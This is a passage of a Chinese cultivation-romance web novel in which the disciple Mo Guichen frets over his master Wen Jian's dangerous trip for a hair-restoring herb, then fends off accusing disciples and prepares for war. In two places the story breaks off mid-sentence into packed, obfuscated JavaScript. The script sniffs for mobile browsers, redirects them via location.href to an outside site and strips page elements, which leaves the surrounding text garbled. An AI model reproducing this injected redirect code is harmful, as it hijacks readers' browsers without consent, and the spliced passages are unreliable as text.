明明看不清闻笺的脸,可这朦胧的对视中,陌归尘恍惚被自家师尊吸进地老天荒中。 回神后。 陌归尘跳下树,忘了瞬移,忘了御飞行器,甚至忘了自己身怀法术。 只循着本能,跑过去。 皆因闻笺此刻的气息,实在太过羸弱。 虚弱像将死之人。 且那人轮廓边缘又似染着抹未褪的邪气,陌归尘都怕自家师尊是不是被邪祟趁机夺舍。 停在闻笺两步之遥外,往日端方清冷的人,此刻,脸色惨淡如霜,眉睫沾满汗迹,墨发微乱,素袍更是凌乱扯开几道口子。 盯着那人稍显狼狈的模样,审视许久,陌归尘方知问道:“你去哪了?” 闻笺收起染血的剑,没说话,只朝陌归尘递去点东西。 是枚红色穗子。 陌归尘皱眉:“什么东西?” 闻笺轻然道:“笛穗。” 想了想,那人又补充道:“九尾族神君,法器笛穗。” 陌归尘没接:“哪里来的?” 闻笺:“不重要。” 陌归尘瞬间猜出,深吸口气问:“你去的是上古秘境?” 皆因那处地方,他也去过,里面险象环生,各种上古邪祟妖兽盘踞,那时他是去找灵藕的,七进七出,都只是徘徊在中外围。 且小精灵之前和他聊天,无不是崇拜提及过九尾族的王,也就是千年前曾拨乱反正的神君,曾将一头上古凶兽封印进上古秘境内围,轰动四海八荒,也就此年少成名。 这枚笛穗大抵便是那时遗落的吧。 山上落霞漫天,陌归尘却似坠入冰天雪地,好像回到那日的幽冥鬼涧。 紧紧攥住的吊坠变成穗子。 心底像是有团火在灼烧他,逼着他问:“是不是上古秘境?” 闻笺没有回他。 但陌归尘笃定,这人消失整日,就是去闯上古秘境。 心间那团火便轰地燃起,烫得他心间发疼,连目光也被烧得焦灼:“给我这破玩意儿干嘛!谁说要这破东西了!” 联系此前种种,其实他不难猜出,自己便就是九尾族的王诞下的死婴。 可他又没见过自己亲爹。 这些年来,与他相依为命的是师尊,在他眼中,亲恩不及养恩。 他才不要师尊为了一个虚浮的“遗物”名头,冒这般大的风险,那可是上古秘境,稍有不慎便将万劫不复。 陌归尘捏紧穗子,若果可以,他真想把闻笺锁起来,一天天的发什么疯! 本以为到此便消停。 哪知那人又拿出株药草。 这草…… 他认得,之前为灵藕查阅古籍时,也曾见过此草,生长在上古秘境最核心的地方,名曰:墨旱莲。 是株神草。 传言有生乌发的功效。 但传言,只是传言。 陌归尘不可置信看人:“这什么意思?” “能长墨发。” “你确定?” 对面人沉默不语。 很好,看来是不确定。 黑发白发重要吗? 况且这人也不笃定这棵破草到底能否生黑发,便只身去闯上古秘境核心之境。 陌归尘怒极反笑:“根本就没有哪本古籍确确实实记载过这神草的功效,你怎么笃定它有生黑发的效果?” “不知,试试吧。” “你!” 陌归尘怔忪立在原地,那刻,他只觉自己茫然得空白。 真是熟悉的感觉。 在魔界那十年来的日日夜夜,多少次,他鲜血淋漓暴戾疯癫逡巡在生死边缘,便就是这种无形之中的温暖与倾尽所能的爱将他拉回。 那是场长久的拉锯战。 最终。 歇斯底里挣扎在午夜的他被拉回那片温柔的天光。 这一刻。 他的天光又具象化地到来。 因一个莫须有的传言。 只身闯上古秘境的核心之境,只为自己的徒弟能长回一头墨发。 上古秘境是什么地方?历代神君也没有几个敢进,哪怕素来对天地财宝趋之若鹜的歪门邪道,也对此地敬而远之,凶险程度可见一斑。 而这人,非但闯了。 还直闯最深处。 闻笺,你怎么敢的呀! 陌归尘仰头,过了许久才睁眼,却像是复明的人,涣散的眸好半天才聚焦。 他呆呆地望向闻笺,满腔心疼涌到嘴边,又颤颤抖抖地,化成染着薄怒的哑骂。 “闻笺,你疯了吗?” 25. 望夫石,望妻石。 25. “为师无碍。” 后山凉风猎猎作响,吹得人素袍翻飞,摇摇欲坠。 陌归尘正忧心着,对面倏然晕厥之人,还真的直愣愣往他身倾落,一个天旋地转,堂堂魔尊大人,便是如此被自家师尊砸倒。 师徒二人双双摔进草地。 砸得他晕乎乎的。 陌归尘:“……”无碍你往身上倒是什么意思! 青年轻眯长眸,斜瞅把他压倒在地的闻笺,暗中冷嗤。 浑身上下,嘴最硬。 艰难从二人中间腾出手来,本欲搭上闻笺肩膀,把自家这位柔弱不能自理,还偏生嘴硬得能砸核桃的师尊扶起。 方惊觉自己的手指,不知怎的竟勾着闻笺腰带。 这么一拉,险些要扯开…… 远处忽而传来低呼声—— “啊!你……你……” “尊上?” “陌归尘你!?” 陌归尘循声望去,原来是好几个宗门结伴同行的十来名弟子路过,有双手捂嘴的,有抬手指来的,有满目惊愕愣住的……等。 终于有人回神:“你!光天化日!朗朗乾坤!你陌归尘简直大逆不道!” “陌归尘你真恶心!我们要去告发你迷惑尊上!” “勾引师父!罔顾伦理!德行败坏!你们浮华派真是让我大开眼界!” …… 众人义愤填膺,声声讨伐。 木秀于林,风必摧之。 到底是自认占据一时半刻的理,不问青红皂白便一锤定音,还是趁机中伤泼脏水。 真真假假,陌归尘也辨不清,只低着眸环顾闻笺与自己的这滚在草地的姿势,那手指还勾着对方腰带,确实还挺像那么一回事儿的。 他气定神闲喊住那几人。 “回来。” 有人回眸,脚步依旧飞快,眼中雀跃几乎要溢出:“陌归尘,你死定了!方才的画面已经被我用留影石记下,我这便呈递给盟主,你百口莫辩!” “不,你休想狡辩!” 狡辩? 他才不想狡辩 ,若可以,真恨不得拉着这位高岭之花,共堕凡尘,滚到床上大战七天七夜。 但若那样…… 他的师尊可就真的身败名裂了。 留在原地之人联手挥出凌厉攻击,直击陌归尘眉心门命。 十几道攻击轰来,众人还振振有词给他定罪:“原来你那日大显神通,拜入仙尊门下,竟是有这般图谋不轨的念头?蓄意勾引师父真恶心!” “去死吧你!” 这一出手便是死招? 陌归尘眸光一寒,这些正道修士果真够道貌岸然,也是,他自嘲失笑,世人最喜闻乐见的不过是天才的陨落罢。 正如十年前的青栀。 无人为他申冤。 倒是拍手称快之人大有人在。 他抬袖一挥,轻而易举打散众人的合力攻击。 再反手一招困住众人。 十数人,也猝不及防落进个红圈内,连带先前跑得飞快的男子也被藤蔓捆了回来,丢进圈内。 其中一人狼狈爬起:“陌归尘你敢私斗?” “呵。” 陌归尘轻笑,“难为这位师兄了,脸皮这么厚,应该长得不容易吧?” “你什么意思!” “难道不是你们想杀我在先?好来个死无对证?可惜,技不如人,跳梁小丑罢了。” “陌归尘!分明是你趁尊上昏迷之际,蓄意勾引尊上,你的手可还勾着尊上的腰带!我们瞧得真真切切!” “眼见不一定为实。” “狡辩!” 陌归尘懒眼扫人。 偏见如山,他就不该与这些人浪费口舌。 掌心收拢,控制着阵法。 红光之中,十岁出头的孩子触碰到屏障,瞬间被灼烧得啊一声哭出声来。 “师姐!好疼!” 一位姑娘将孩子护在怀中:“别怕,师姐保护你。” 阵法越发收紧。 阵法倒是不疼,但众人自知死忙来临,惊恐尖叫:“陌归尘你不能杀我们!” “陌归尘你疯了!” “陌归尘!你不要乱来!” 陌归尘心知肚明,他该将这些人杀掉,再用幽冷焰火烧灭他们的神魂,而后摄取元神销毁,方才是万全之策。 但目光落在那名瑟瑟发抖的孩子,一直哭喃着“师姐”,还有将孩子抱在怀里安抚的姑娘。 他动作迟疑了。 青年皱眉,到底没下杀手,只把众人此段记忆抹掉,顺手把留影石里的画面也一并去除。 便是扶着闻笺离开。 方拐了个角,竟遇上熟人。 “处处有你,阴魂不散。” “我叨扰殿下好事了?” “滚。” 二竹弋抛过一个小布包:“如此大好机会,殿下可要把握好呀。” 陌归尘单手接住:“何物?” 二竹弋淡笑:“合欢宗的好东西,助殿下一夜七次。” “去死!” 陌归尘直接扔了回去。 * 向三长老传出道灵迅,简单交代几句,陌归尘便带着闻笺直奔落霞峰温抚经脉。 夜色清幽。 落霞峰,小筑书房。 陌归尘收起最后一道灵力,多年来,他还是初次见这般安静阖眼的师尊。 如混沌中回归神位的神祇。 有种凌驾众生的漠然。 这个模样的闻笺,他倒是也有幸见过。 大多数时候的师尊,总是温柔的内里裹着清冷的外皮,可也总有极少数情况能遇见,他的师尊,冷淡疏离,拒人千里之外,像是个无情无欲的怪人。 就好像温柔恬淡是伪装。 无情无欲方是本我。 一旦发现他陷进怪圈胡思乱想,师尊又会如染了凡尘似的,鲜活无比轻揉他脑袋。 “净会瞎想。” 陌归尘托腮坐在床边,看着熟睡的师尊发呆。 他情不自禁摸到腰间的那块玉佩,是师尊赠与他的玉佩,青年喃喃自语,怕你知道,又怕你不知道,更怕你知道后装作不知道。 暗恋怎就那么难呢。 少年的心事,以眸光为笔,谱写在素笺多年,绘成段不可告人的秘密,时至今日,终成一封…… “哇哦!你的眼睛会说话。” 小灵藕拖着本书册,从木窗爬进,连书带藕,啪地摔进被褥,眼神亮堂瞅他。 陌归尘冷觑:“无聊。” 小灵藕凑来:“真的,你好像尊望夫石,在说,夫君你可快醒醒吧,没有你我可怎么活呀!” 陌归尘敲人:“胡说八道!” 而后纠正:“是望妻石。” 又抢走小灵藕的书,起身,来到书架那边:“少看些乱七八糟的闲书。” 本欲丢进书架,瞧清书册画面时,青年差点摔了个趔趄。 书中画面竟是! 竟是! 竟是两个男子滚在一起亲亲的画面,还会动,活灵活现的,甚至还发出微微喘息声。 陌归尘倏地合上风月图册。 虽说他也看过不少谈情说爱的风月话本,可从未见过如此直白露骨的! 似不确定。 他有悄悄翻开一角…… “嚯!” 身后忽而传来小灵藕的吼叫:“你坏坏!不让我看!自己偷偷看!” “闭嘴。” 半盏茶时辰后。 一人一藕趴在地面研究半天:“他们看起来似乎吻得很忘我。” “貌似还很舒服。” 小灵藕天真歪头,思忖半晌嘟起小嘴:“要不咱们也试试?” “滚。” 匆忙把书册往架子一塞,陌归尘又退回床榻那边。 守到次日早。 闻笺似乎是陷进沉睡,丝毫没有醒来的迹象,且他又发现这人心口竟烫得骇人。 陌归尘深色凝重探脉半天,束手无策,自己只是个半吊子医修,实在查不出任何病因,不过他倒是有几味稀罕药材,能炼成万能丹。 那丹虽名为万能,其实也并非真的万能,且需得借助纯净的灵气。 如今也管不得那么多,先去借宝地炼出来再说吧。 陌归尘:“看好师尊。” 小灵藕点头:“哦。”随后直接爬到闻笺枕边,圆溜溜的眼睛,就那么一动不动盯着人看。 陌归尘:“别坐那么近。” 小灵藕:“我也没碍着谁呀。” 陌归尘:“碍着他呼吸。” 小灵藕:“?” 还盘着腿的小灵藕被陌归尘拎到矮几,咚一声坐下,委屈巴巴瞅人:“你欺负人。” 陌归尘丢下袋粽子糖:“吃完,便回。” 小灵藕瞬间笑意盈盈,把脑袋扎进袋子拱糖吃。 陌归尘:“有事给我——”传灵迅。 罢。 指望这不靠谱的小灵藕,他回来怕是直接给闻笺收尸得了,就地画下道符,青年方离去。 * 万里之外,另一片州。 某座镇子。 陌归尘踏进镇子,街上行人络绎不绝,街道两旁随处可见的各式各样的粽子糖。 粽子糖,乃当地特色。 他来之前特地用丹药与人换了些银钱,找了个摊位买走点粽子糖,便是隐进人群,上山。 山中幽径百花盛放。 陌归尘摘下一截火鹤花。 很快便停在一处坟前。 ——林岁愉之墓。 陌归尘放下花与粽子糖。 席地而坐,淡笑:“二师姐。” 想了想,他又拿起一颗粽子糖,撕开外衣:“好,都挺好的。” 林岁愉。 盯着那三个字,陌归尘神思微微飘散。 当年,西平侯府嫡幼女,天生不足,体弱多病,父母无所望,只求女儿一生平安喜乐。 故名:岁愉。 寓意:长命百岁,岁岁康愉。 后来妖祟作乱此地,镇中险些无人生还,恰好是掌门的妹妹归云真人云游至此,尚在襁褓的孩子被带回师门,视如己出养着,几年后归云真人意外陨落,这孩子便转到掌门这一脉养着,格外疼爱。 得益于二师姐常常带他转悠,他与掌门华云舟的关系也曾有过一阵子缓和。 而这一切,又在二师姐于最风华正茂的年纪离去时,迎来前所未有般的反扑,直接升级到更高一度的恶化。 他只记得,那夜的二师姐跟他说,一直想回家乡看看,焉知他们还未途径家乡便…… 于是,他便在这山头悄悄给人立了个衣冠冢。 也算是圆其夙愿吧。 陌归尘还有正事,不敢逗留太久,起身告辞:“师姐,我还有事,改日再来看你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375712|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >离开这山头。 青年匿进幢幢树影消失,再现身时,轻易破除数十道禁制,来到座仙山。 * 仙山入口。 镇守玉虚灵泉的神兽嗅到外来者气息,并未现身,只沉声警告:“凡人修士,速速离去。” 陌归尘一袭红衫,立在林中拱手,不卑不亢道:“我只想借灵泉一用。” “荒唐!玉虚灵泉之下封印万千恶灵,岂容你胡闹?” “我只想炼个炼丹。” “你若即刻离去,吾不与你为难,再执迷不悟,那就休怪吾不客气。” 陌归尘依旧重复道:“晚辈是想炼丹救人,劳烦重明前辈通融一二。” 林中罡风骤起:“执迷不悟!”赤红泛鎏金光影倏地轰来,强大的威压叫人大骇。 陌归尘眼疾手快御起结界。 堪堪抵住这一击。 “无知小儿,倒是好身手。” 碎金光柱落地,火红虚影缓缓现形,灿烂光华在他周身化作翎羽,强光中,那人似九重天神明降世,缓缓睁眸,神色淡漠,睥睨世间。 重明凤眸轻眯。 上下打量着陌归尘许久。 半晌后轻叹声:“原是故人之子,难怪有故人之姿,吾不与你为难,回吧。” 陌归尘:“……” 敢情他爹还挺多老熟人的。 却丝毫未退却,再次抱拳:“晚辈想借灵泉一用。” 重明平静道:“你可知?硬闯者,格杀勿论。” 陌归尘:“晚辈只想救人。” 重明:“你这小家伙,倒是执拗,当真不怕死?” 林间拂过阵风。 忽而间,陌归尘只觉心头钝痛弥漫四肢百骸,连带耳畔声音也浮浮沉沉的。 青年浑身紧绷得脸色煞白。 颌下两颗汗珠滴落。 陌归尘蓦然脱力,整个人跌了一下,手掌撑地,单膝跪着喘息。 迷蒙中,下颔似被轻轻扣起,眼前雪影模糊。 他咕哝:“师尊?” “不,不对。” 师尊应该躺在落霞峰。 可师尊却蹲在他跟前,温凉的掌轻轻托他脸颊:“如何不对,为师的好徒儿,你做得很好,和十年前一样,来,把它杀了,阻挡你的,都该死。” 陌归尘被扶起,手心也被师尊强行塞下把剑。 是无双剑。 陌归尘喃喃摇头:“不……” “不要。” 那种与生俱来的恐惧,似寒冰,又如赤焰,灌进四肢百骸,叫人难耐无助。 他抗拒着松手:“不要。” 那一瞬,竟如回到十年前的夜,重新躺在血流成河,尸横遍野中,而他身上还有那位极力护他周全的二师姐。 “不要!” “为何不要?” 陌归尘很想弃剑,奈何师尊却牢牢抓住他掌,叫他把剑握得紧实。 随后,师尊伏在他耳边温声耳语,诱哄着:“是他们该死。” “不,不是的。” “别怕,来,为师带着你,把他们都杀了。” “滚!” 这一声滚,带着强大的灵力波光震向四面八方,直将重明神兽都震得一愣。 他破有些狼狈掸掸着自己凌乱的华贵羽毛:“小家伙,你是否有些过分?此乃吾的地盘?” 陌归尘神思清明几许,抬手擦着眉骨的冷汗,赔不是:“抱歉,晚辈失礼。” 重明的红眸停在陌归尘身。 “有心魔?” 对面青年沉默。 他倒也没追问,只细细审视几番,不该存活于世的人,偏偏重现世间,还无丝毫业障缠身。 如此纯净地活着,无非是身边人用更大的代价守护而来。 看来,还不止一位故人。 既然故人这般呵护,想来这孩子必不会存什么坏心思。 重明轻叹:“罢了。” “看在故人面子,吾便睁一只眼闭一只眼吧,那灵泉倒也能助你净一净乱七八糟的杂念。” 末了,又补充道:“两炷香时辰。” * 从玉虚灵泉出来时,陌归尘眉宇间尽是疲态。 但目光所及手中丹药时。 脚步无端轻然些许。 青年朝寂静无人的林子轻轻一拜,便是离开。 落霞峰。 暮色四合,晚霞将收未收。 青砖石阶尽头,陌归尘垂着脑袋踏上最后一级。 抬头的功夫。 猝不及防落进双淡然的眸。 陌归尘错愕怔住。 实在是那双眼眸太过深邃,似能将人带进地老天荒中。 望穿他盈盈秋水,蹙损他淡淡春山,不外如是。 二人间流淌着股静谧。 终于。 闻笺问:“去哪了?” 陌归尘撇开眸光:“去给你挖坟,不承想你诈尸了。” “……” 闻笺沉默半息功夫。 忽地垂眸低笑:“真是越发无法……”话到后,被淡笑搅进声若蚊呐的嗓子里。 模糊得再也听不清楚。 后怕弥漫骨血,陌归尘也无瑕纠结闻笺在说什么,只盯着那人微弯的唇瓣,冷冷控诉:“笑,你还有脸笑!” “当师父的很了不起吗?不是说自己不会受伤?一天天除了骗我!” “你还会干什么?” 26. 梳洗头发。 26. 闻笺静静立在原地。 只淡淡笑着,也不说话,就那么悠悠望着陌归尘。 似在任由徒弟把满腔怒火往他身上发泄。 这场无声对视中。 刚刚还张牙舞爪的炸毛小猫,越发忸怩,又不想输掉气势,便是装腔瞪人:“看什么?” 凶残极了。 恐吓道:“眼珠子给你挖掉!” 闻笺也不恼,宽大的手掌搭上陌归尘脑袋,顺毛似的轻柔一下,问:“气消了?” 陌归尘一时间竟被闻笺堵得语塞,悻悻咬了咬牙,便是什么也说不出口。 哄小孩子呢! 果然! 在闻笺眼里,自己永远是个长不大的小孩,魔尊大人表示很苦恼,真想将自家师尊扑倒,让人见识一下他七尺男儿的雄风! 越想,无名火越发腾起。 陌归尘语气强势汹涌:“闻笺,你到底明不明白,我不是——”孩子。 话到嘴边,戛然而止。 算了。 说出来又能如何,单是一层师徒身份便框死了他们,何必多此一举。 那人问:“不是什么?” “没什么。” 陌归尘拂掉闻笺的手,嫌弃道,“净手了么,就乱摸。” “走吧。” 落霞峰,师徒二人穿过漫山遍野的栀子灵树。 望着这些未开花的灵树,陌归尘脚步越发放缓,其实不久前,他已知晓: 栀子花乃九尾族独有的灵花,九尾一族灭绝后,世间最后一片拥有栀子花的净土就此消失。 这些花,应该是闻笺千辛万苦培育出的九尾族族花,奈何复刻品终归不圆满,叫人遗憾。 大抵是开不出花来的。 陌归尘有些出神,只懵懵怔怔跟着前方人离去。 “吱呀——” 推门声起,也将人唤醒,他们竟来到湢室。 这是做什么? 鸳鸯浴? 湢室很宽敞,闻笺停在处妆台前,指尖点点椅背,示意道:“来。” 陌归尘小小觑闻笺,没多问,听话坐下。 借着妆台那面巨大的铜镜,能瞧见闻笺正在浴池边蹲下,打来盆水,而后又拿出那据传能生乌发的神草。 …… 半盏茶功夫后。 陌归尘坐立不安,实在是这画面太过诡异…… 闻笺居然替他梳洗头发。 镜中人,左手轻托一段银白发丝,右手执梳,沾上点水,由顶梳至发尾。 有条不紊,一下又一下。 目光虔诚专注。 陌归尘从未见过这样的闻笺,且这般奇怪的触碰,更是给他带来种前所未有的…… 诡异的……舒爽。 还越梳越爽。 窗外适时飞来只灵鸽。 灵鸽停在闻笺面前,灵鸽扑棱着翅膀,待人打开身上的符咒,立马开口说话。 那声音却熟悉得很。 是掌门华云舟,正在告知闻笺,仙盟同会已定下围剿魔界的日子,而他们明日便回宗门挑选参与伏魔大战的弟子。 问他家师尊是否得空,在出战前这段日子,指点与加紧参战弟子们的训练。 闻笺颔首:“嗯,知道了。” 灵鸽停顿一下,又说:“闻师弟,你新收的那位小徒弟也去吧。” 小徒弟? 这词听得陌归尘直翻白眼。 翻眼的刹那,顿时与铜镜中的闻笺对上视线。 那人发现他的小动作,难得没呵斥他不守规矩,反而就这么淡淡看他。 似在询问他的意思。 陌归尘沉默。 他去参加那劳什子伏魔大战不是神经么? 哪有自己伏自己的理儿! 见人沉默许久,闻笺会意敛眸,婉拒:“小陌近来身子虚弱,恐不能参战。” “虚?” 陌归尘:“……” 这话,他可就不爱听了。 堂堂七尺男儿,虚什么虚! 尤其还当着心爱之人的面,多损魔尊大人雄风! 男人不狠!地位不稳! 陌归尘一时昏头抢话:“伏诛魔界,匡扶正道,弟子义不容辞。” “好好好!如此雄心壮志!不愧是我浮华派弟子!” 远在玄灵宗,年轻男子不解发问:“师尊,您为何非让那姓陌的去?万一让他立功,届时想要除掉他岂非更难?” 华云舟冷笑:“仙魔大战,难免意外陨落,又或者出征前夕,急功近利提升修为,一不小心走火入魔,都是常态,让你大师姐来,为师有话交代她。” …… 而被讨论的当事人,还一脸生无可恋地被自家师尊摁在湢室里……梳头。 不行。 再梳会死掉猫的! 陌归尘赶忙抢走梳子:“您老人家真就跟嫁孩子似的,搁这梳上瘾了是吧?” 闻笺动作停滞,顿了顿,笑问:“想嫁人了?” 陌归尘:“……” 他丢下梳子:“老糊涂了?我可是男子,嫁什么人!” 未等闻笺开口,陌归尘又是话锋一转:“不过,若是他愿意三书六礼,四聘五金,八抬大轿,十里红妆,明媒正娶,迎我进门,我倒是可以勉为其难嫁他。” “那该是他之荣幸。” 铜镜倒映着师徒二人的面容。 陌归尘唇线微绷,直直注视镜中人:“其实这人,你见过的。” 闻笺轻声道:“是么?” 陌归尘答非所问:“是谁不重要。” 话题到此,默契终结。 * 二人离开湢室,回到小筑。 闻笺放下碗羹汤:“趁热。” 陌归尘捧着汤:“你心口很烫,我查不出病因,你到底是怎么了?” 那人掀起竹帘:“无甚大碍。”说罢,便是走出去。 再回来时,手中端着盘青提,素白的指尖还挂着几滴清洗提子留下的晨露。 陌归尘记得闻笺的手劲儿很大,抓果盘时更是衬得骨节满是力量感,连那露出的半截手腕也是好看得紧。 莫名的…… 他觉得这手差点装饰。 于是脑海里浮现出一帧帧怪异又邪恶的画面。 若是给闻笺扣上银链,锁起来,这样好看的手腕,使力挣扎得泛白,又绷出淡淡的青筋时,想来会更迷人吧。 似被那画面刺激到。 心尖那株沉睡许久的血色蔷薇忽而摇曳起枝叶,宛若十分赞同他的念头。 “想什么?” 桌面被人轻轻叩了一下。 陌归尘骇然醒神,对上闻笺清冷无波的眸,那人淡声催促道:“喝完,随为师去法器阁。” 陌归尘不情不愿一口闷。 “去法器阁做什么?” 二人前后走出小筑。 闻笺道:“既然参战,总归要有趁手的武器,时间紧迫来不及铸剑,你顶着旁的身份,自然也不好用你从前的本命剑,法器阁有柄剑,品相不比无双差。” 闻笺说罢,摘下腰间佩剑:“物归原主。” 陌归尘没接:“剑骨都废了,还握得起无双剑吗?” “试试吧。” 听罢,青年斜觑自家师尊,小声嘀咕:“试试,什么都试试,你怎么不试试给我亲一下。” “自言自语什么?” 陌归尘抬眸,盯着闻笺那张水色般的唇,猛地想起与小灵藕一起研究过的接吻画面。 他记得话本中那位摄政王,便是将自家欲筹谋清君侧的陛下囚于养心殿。 金尊玉贵的帝王,被精心打造的锁链镣扣桎梏在龙榻。 困在那方独属于他的牢笼。 深陷无人可救的欲.海。 摄政王单手掐住小皇帝下颔:“太子殿下,当初是您脱了衣裳来求我,臣这才捧您上帝位,便迫不及待要卸磨杀驴?如此恩将仇报,未免太过伤臣心。” 那夜。 新帝的一双水色般的唇,被蹂.躏得潋滟泛红。 哭肿了眼,也哭哑了嗓子。 陌归尘看着闻笺。 脑海里又是那话本的香艳画面,此刻的他,竟也迫切想让这张寡淡素净的脸,为他布满七情六欲…… 陌归尘猛地晃晃脑子。 该死的。 话本害人不浅呐! 似发现他的异样,闻笺问:“怎么了?” “没。” 陌归尘勉强稳住心性,悄悄吐出口浊气,“剑倒不必挑选,弟子早有新的法器,劳烦师尊指点一二。” “也好,随你。” 见闻笺颔首应下,陌归尘便邀着人去了小筑后的竹林。 * 竹林。 他甩手,召出红绫法器:“许久没听师尊弹琴,不来上一曲,未免单调。” 闻笺抬掌捏指,变出堆玉简:“挑一曲吧。” 陌归尘盲抓了块玉简,放到耳旁粗略一听,便煞有其事轻唔声:“还挺好听的,就它吧,《折柳》。” 陌归尘退到空地上,惯性摸出根红绸,才有些恍然一怔,这瞬,仿佛回到曾经。 连他自己都忘了,当初的自己到底“自创”了多少套剑法,再套上求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375713|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师尊指点的说辞,去那人跟前,故作淡定地舞了多少遍红衣剑。 那时,他甚至不敢看一眼。 这次,便看一眼吧,毕竟是最后一次,下次再会,可真就是师徒操戈,哪还能有这般和谐光景。 只是好可惜。 这落霞峰的栀子花终是还未开。 琴音起,水袖一挥,红绫四散,陌归尘也慢悠悠起步。 林中,红衣翩然。 那身段带动红绫,动作行云流水,看似柔弱无骨,藏在其中的凌厉杀气却能于无形中给人以最致命一击。 徒弟只舞了几个动作,闻笺已看出,又是《上林赋》。 皆因从前有人红衣舞剑,表面是在舞剑,实际又不单单是舞剑。 那时,他还是初次见人能将剑法与书法融汇得如此和谐美妙,又不着痕迹,若非看了三百七十次,他还真不知…… 徒弟舞的是《上林赋》。 至于为何是《上林赋》,大抵是在借此讽谏他太过奢靡……? 一舞毕。 陌归尘脚尖轻踢地面枯叶,霎那间,林间万千竹叶纷飞,红绫隐藏其中,以锐不可挡之势直逼闻笺。 又在咫尺间化作绕指柔。 红绫悠悠钻出青叶,温抚爱人般,软绵绵滑落闻笺侧脸,一寸一寸往下掉。 十足是个挑逗。 尤像外头那些妖精撩拨圣僧的狐媚手段。 这莫名的一出,叫人微微蹙眉,闻笺双指夹住红绫,低训自己这又不按套路出牌的任性徒弟:“你,给为师正经——” 红影倏地来到跟前。 徒弟抢先一步打断他的呵斥:“我怎么了?” 言语间,眉眼夹杂着几分柔软无辜,慵懒趴下矮桌:“人有失手罢了。” 随后自顾自斟酒。 又把玉杯放在鼻尖轻嗅。 闻笺松手,红绫翩然跌落他大腿,本以为会就此消停,焉知那红绫又水蛇似的,在他大腿游走了一下。 他这才开口:“你安分——” 徒弟却再次抢先吐槽:“师尊,你可知前日你晕倒在我身那幕,被几名路过的弟子碰见,他们竟然说我勾引师父。” 徒弟啧啧摇头:“我真是笑了。” 闻笺:“为师去替你澄——” 陌归尘:“不必。” 陌归尘:“已经抹去记忆。” 陌归尘单手托腮,捏着酒杯,缓缓朝闻笺递过去。 待人欲接时,又故意抽回手,生生叫人接了个空。 闻笺:“……” 陌归尘瞄起半边眼皮,一口饮尽桃花酿,转回先前的话题,意味不明的:“我的师父,如此坐怀不乱,谁能勾引得了?” “你说是吧?” 青年指尖一松,玉杯掉到弦丝上,滚出几个旋律,惊了树上歇脚的鸟儿,也乱了正好穿林的风声。 纵有万般思绪,千回百转后,也只化作几句不咸不淡的话:“欣赏完天才的陨落还不够么?这高岭之花跌落神坛的戏码,世人再爱,也不配看!” 闻笺没回他这话。 而那压在琴边的玉杯,也终是摔落,啪一声碎得四分五裂。 陌归尘循声低头,有些可惜道:“抱歉,弄碎师尊杯子了。” 闻笺声音平淡:“碎了也好,岁岁平安。” 岁岁平安? 青年闻言,若有所思挑眉,指背掸过裙摆落花,潇洒转身。 盯着徒弟远去的红影。 闻笺问:“去哪?” 陌归尘甩了甩额侧的银发,抱着手,往身旁的竹子一倚,好整以暇瞟向闻笺,不答反问:“你管我去哪?” 竹林静得只剩下些风声。 这一对视,陌归尘只觉自己浑身上下都被闻笺看了个遍。 那人望他的目光,像极以往出门历练。 是个属于送别之际的眼神。 最终,闻笺只伸出食指,轻点自己无一饰物的发顶,提醒着他:“簪子歪了。” “哦。” 陌归尘状若无事收回眼神,扶了扶自己的桃木簪,转身,继续扬长而去。 渐行渐远渐无声息…… 蓦然。 身后人再次喊住他:“青栀。” 是个久违的称呼。 闻笺的话音清泉击石般,明明那样的沉磁悦耳,却叫陌归尘品出两分落寞。 彼此什么也没剖明,独属于师徒二人的默契,还是让他感知到,其实他的师尊由始至终都明白,要走的人,终归留不住。 下一瞬。 陌归尘的猜想得到印证。 是闻笺在问:“还会回来吗?” 27. 让为师看看, 27. “还会回来吗?” 闻笺的话音很轻,落在风中,却怎么也散不去般,遍遍萦绕在陌归尘耳畔。 月圆之夜将至,保险起见,他这几日自然不能留在落霞峰。 倘若没闻笺这话,他确实想就这么一走了之。 乌云遮挡日光,竹林暗下些许,天光朦胧。 陌归尘看着闻笺所在方向,视线却又无所托般,分外不自在地错在旁的地方。 在那片晦暗竹林,他到底看的是什么? 是那素雅的琴? 还是地上酒杯? 或是林中泥土? …… 不清楚,他只知自己,好像不敢再看闻笺,干脆低垂脑袋把玩起腰封,没回闻笺的话。 那人到底没深究,二人心照不宣似的沉默片刻。 终于,有人转移话题:“屋后青提又熟了一茬,为师做了点果酒,该是酿好了,埋在你常爱爬的那棵树下,尝尝吧。” 话毕。 闻笺起身,一身素衣,渐行渐隐,消失在竹林深处。 陌归尘看着那道背影,直至彻底没了那人的气息,方才收回眸光。 路过那棵高树,仿佛还能看到个几岁的小身影,春风得意跳进树下人怀里:“我就知,师尊永远都会来接我的。” 陌归尘脚步停顿一下。 终是没去挖酒。 没拿,就代表师尊没给他饯行,他抿唇失笑,真是自欺欺人的小行径。 矛盾,也幼稚。 * 魔界,城中。 陌归尘清薄的身影踏上青石大街,外界谣传魔界吃人不吐骨头,乃暴虐凶残的蛮夷之地。 然而,城中却并非血雨腥风、阴森可怖。 倒是片繁华闹市,比仙门守护的人间更像歌舞升平、海晏河清的盛世。 偶尔路过的妖魔邪祟虽有青面獠牙,一个赛一个狰狞瘆人,但却也算得上行止有礼。 陌归尘回了趟魔宫。 